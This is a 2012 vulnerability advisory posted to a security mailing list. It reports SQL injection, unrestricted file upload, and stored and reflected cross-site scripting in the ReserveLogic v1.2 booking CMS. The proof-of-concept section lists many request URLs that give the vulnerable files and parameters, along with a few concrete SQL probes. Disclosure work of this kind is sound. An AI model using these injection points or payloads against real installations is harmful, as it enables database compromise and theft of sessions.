[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Reserve Logic v1.2 Booking CMS - Multiple Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Reserve Logic v1.2 Booking CMS - Multiple Vulnerabilities
- From: Research <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 12 Jul 2012 02:10:31 +0200
Title:
======
Reserve Logic v1.2 Booking CMS - Multiple Vulnerabilities
Date:
=====
2012-06-18
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=617
VL-ID:
=====
617
Common Vulnerability Scoring System:
====================================
8.5
Introduction:
=============
iScripts ReserveLogic offers an online web based reservation system for the
hospitality industry for service providers.
This turn-key reservation system allows you to start online reservation and
customer management in minutes.
Flexible Reservation Software. iScripts ReserveLogic is designed to simplify
the task of online booking. It provides
users a unique, intuitive and easy to use interface that improves the way
people use the web today. Through personalization
and rich features, iScripts ReserveLogic enhances the entire Web experience.
Online Reservation system for:
- Hotel reservation
- Motel reservation
- Time share booking
- Bed and Breakfasts
- Vacation Rental
- Resort reservation
- Camp grounds
- Tour and Travel Company
- Open source script – No encryption
- Multiple themes and layouts
- Highly scalable
- Easy to install using an install wizard
- Easy to use interface
- Powerful administration panel
- Easy to customize
iScripts ReserveLogic can help you set up an online hotel reservation system at
a very affordable price. We also provide
updates and free technical support for one year. This online reservation script
is designed to improve the conversion of
your website visitors and transform them into your own customers. ReserveLogic
works to increase your sales around the clock.
This open source PHP software is very scalable; it supports multiple
destinations and multiple properties. So if you have a bed
and breakfast, hotel, motel, or a multi destination and property resort chain,
our company’s reservation software will serve your needs.
(Copy of the Vendor Homepage: http://www.iscripts.com/reservelogic/ )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple different web
vulnerabilites in iScripts Reserve Logic v1.2 Booking CMS.
Report-Timeline:
================
2012-04-18: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
iScripts
Product: Reserve Logic (Booking) CMS v1.2
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
1.1
Multiple remote blind and standard SQL Injection vulnerabilities are detected
in iScripts Reserve Logic v1.2 Booking CMS.
The vulnerability allows an attacker (remote) to inject/execute own sql
commands on the affected application dbms.
The vulnerabilities are located in the packagedetails.php, booking_report.php,
users_report.php, editenquiries.php,
addclientlocations.php, addcustomers.php, addaccomtypeavailability.php,
addspecialoffer.php & booking_report.php files.
The vulnerable bound parameters of the files are id, rghtMenu, pid & oderby.
Successful exploitation of the vulnerability
results in dbms, service & application compromise.
Vulnerable Files(s):
[+] packagedetails.php
[+] booking_report.php
[+] users_report.php
[+] editenquiries.php
[+] addclientlocations.php
[+] addcustomers.php
[+] addpackages.php
[+] addaccomtypeavailability.php
[+] booking_report.php
[+] addspecialoffer.php
Vulnerable Parameter(s):
[+] id
[+] rghtMenu
[+] pid
[+] orderby
1.2
A arbitrary file upload vulnerability is detected in iScripts Reserve Logic
v1.2 Booking Content Management System.
The vulnerability allows a privileged user account to upload malicious files
without restriction. The uploaded files
are not parsed & attackers can also upload for example web shells and access
them out of the unrestricted web folder.
The vulnerability is located in the addlocationphotos.php (image) file. The
input get saved to the unrestricted
../galleryimages/ application path. Successful exploitation of the
vulnerability result in an arbitrary file upload.
Vulnerable Files(s):
[+] addlocationphotos.php
Vulnerable Module(s):
[+] ../galleryimages/
1.3
Multiple persistent input validation vulnerabilities are detected in iScripts
Reserve Logic v1.2 Booking Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on
the application side (persistent). The persistent
vulnerabilities are located in the addpackages.php, add_news.php,
add_banner.php or addaccomtypeavailability.php with the bound
vulnerable parameters title & name. Exploitation requires low user inter action
& privileged application user account. Successful
exploitation of the vulnerability can lead to session hijacking (admin) or
stable (persistent) context manipulation.
Vulnerable Files(s):
[+] addpackages.php
[+] add_news.php
[+] add_banner.php
[+] addaccomtypeavailability.php
[+] addcustomers.php
Vulnerable Module(s):
[+] Title & Name
1.4
Multiple non persistent cross site scripting vulnerabilities are detected in
iScripts Reserve Logic v1.2 Booking Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator
or admin sessions with medium or high required user inter
action or local low privileged user account. The bugs are located in the
locationdetails.php, bookings.php, addpackages.php,
addaccomtypeavailability.php, add_news.php, add_banner.php & editfeedback.php
files with the bound vulnerable parameters nid, id, nBId,
mbSearch, postsearch, txtkey, page & did. Successful exploitation can result in
account steal, client side phishing & client-side content
request manipulation. Exploitation requires low user inter action or low
privileged application user account.
Vulnerable File(s):
[+] locationdetails.php
[+] bookings.php
[+] addpackages.php
[+] add_news.php
[+] addaccomtypeavailability.php
[+] add_banner.php
[+] editfeedback.php
Vulnerable Parameter(s):
[+] nid
[+] id
[+] nBId
[+] mbSearch, postsearch & txtkey
[+] page
[+] did
Proof of Concept:
=================
1.1
The blind and standard SQL Injection vulnerabilities can be exploited by remote
attacker with & without privileged user account.
User inter action is not required for exploitation. For [PATH]nstration or
reproduce ...
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[SQL-INJECTION]AND+substring(version(),1)=5
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[SQL-INJECTION]Union+select+1,2,3,4,5...30--%20-
0&sort=x&txtFromDate=x&txtToDate=x
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&orderby=-1%27[SQL-INJECTION]
&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012
http://127.0.0.1:1337/reservelogic/[PATH]/admin/users_report.php?rghtMenu=rghtMenu3&orderby=[SQL-INJECTION]dDatejoin
&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012
Blind SQL injection - Pre Auth
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[BLIND
SQL-INJECTION]
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4[BLIND
SQL-INJECTION]
+AND+substring(version(),1)=5
Blind SQL injection - Auth
http://127.0.0.1:1337/reservelogic/[PATH]/admin/editenquiries.php?id=7[BLIND
SQL-INJECTION]
&postsearch=S&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addclientlocations.php?id=23[BLIND
SQL-INJECTION]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php?id=65[BLIND
SQL-INJECTION]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php?id=65[BLIND
SQL-INJECTION]
+AND+1=2&postsearch=S&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5[BLIND
SQL-INJECTION]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5+AND+1=2[BLIND
SQL-INJECTION]
&postsearch=S&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=72[BLIND
SQL-INJECTION]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[BLIND
SQL-INJECTION]
&sort=ASC&txtFromDate=x&txtToDate=x
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&AND+1=1[BLIND
SQL-INJECTION]
&sort=ASC&txtFromDate=x&txtToDate=x
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4[BLIND
SQL-INJECTION]
&postsearch=S&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4'[BLIND
SQL-INJECTION]
&postsearch=S&cmbSearch=&page=1&txtkey=
1.2
The arbitrary file upload vulnerability can be exploited by local priviliged
user account without required user inter action.
For demonstration or reproduce ...
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addlocationphotos.php
Execution > http://127.0.0.1:1337/reservelogic/[PATH]/admin/galleryimages/
1.3
The persistent input validation vulnerabilities can be exploited by remote
attackers with low privileged user account & low
user inter action. For demonstration or reproduce ...
Note: To reproduce the issue inject your own script code to the title input
fields (Title or Name) and watch the affected vulnerable output listing.
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php
Review: Add Package - Title
<tr class="maintextCopy">
<td class="dashedline2 maintext2">Title</td>
<td class="dashedline3"><input name="txtTitle" id="txtTitle" value="\"
type="text">
<iframe src="addpackages.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE])' <"=""
class="textbox">
<font
color="#FF0000">*</font></td>
Review: Add Banner - MainTitle
<tr><td class="dashedline2 maintext2" align="center" width="4%">1</td>
<td class="dashedline3 maintext2" align="center" width="8%"><input name="ids[]"
value="9" type="checkbox"></td>
<td class="dashedline3 maintext2" width="16%">"><[PERSISTENT SCRIPT CODE] <</td>
<td class="dashedline3 maintext2" width="27%"><a href="http:///";><iframe
src="banner.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE])'
<"="" target="_blank" class="thumbnail"><img
Review: Special Offer - Title
<tr class="maintextCopy">
<td class="dashedline2 maintext2" width="26%">Title <font
color="#FF0000">*</font></td>
<td class="dashedline3" width="74%"><input name="txtTitle" class="textbox"
size="47" value="\"
type="text"><iframe src="addspecialoffer.php-Dateien/x.htm" [PERSISTENT SCRIPT
CODE]' <"=""></td>
1.4
The client side cross site scripting vulnerabilities can be exploited by remote
attacker with medium or high required user inter action.
For [PATH]nstration or reproduce ...
http://127.0.0.1:1337/reservelogic/[PATH]/locationdetails.php?did=[CROSS SITE
SCRIPTING]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/bookings.php?page=[CROSS SITE
SCRIPTING]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=1&txtkey=[CROSS
SITE SCRIPTING]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=[CROSS
SITE SCRIPTING]&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=[CROSS
SITE SCRIPTING]&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=[CROSS
SITE SCRIPTING]&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=[CROSS SITE
SCRIPTING]
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php?nid=[CROSS SITE
SCRIPTING]&page=1
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=[CROSS
SITE SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php?nBId=[CROSS SITE
SCRIPTING]&page=1
http://127.0.0.1:1337/reservelogic/[PATH]/admin/editfeedback.php?id=[CROSS SITE
SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=
Risk:
=====
1.1
The security risk of the sql injection vulnerabilities are estimated as
critical.
1.2
The security risk of the arbitrary file upload vulnerability is estimated as
medium(+).
1.3
The security risk of the persistent input validation vulnerabilities are
estiamted as medium(+).
1.4
The security risk of the non-persistent cross site scripting vulnerabilities
are estiamted as low(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [storm]
(strom@xxxxxxxxxxxxxxxxxxxxx)
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx - support@xxxxxxxxxxxxxxxxxxxxx
- research@xxxxxxxxxxxxxxxxxxxxx
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com
- news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or
support@xxxxxxxxxxxxxxxxxxxxx) to get a permission.
Copyright © 2012
Vulnerability-Lab
--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx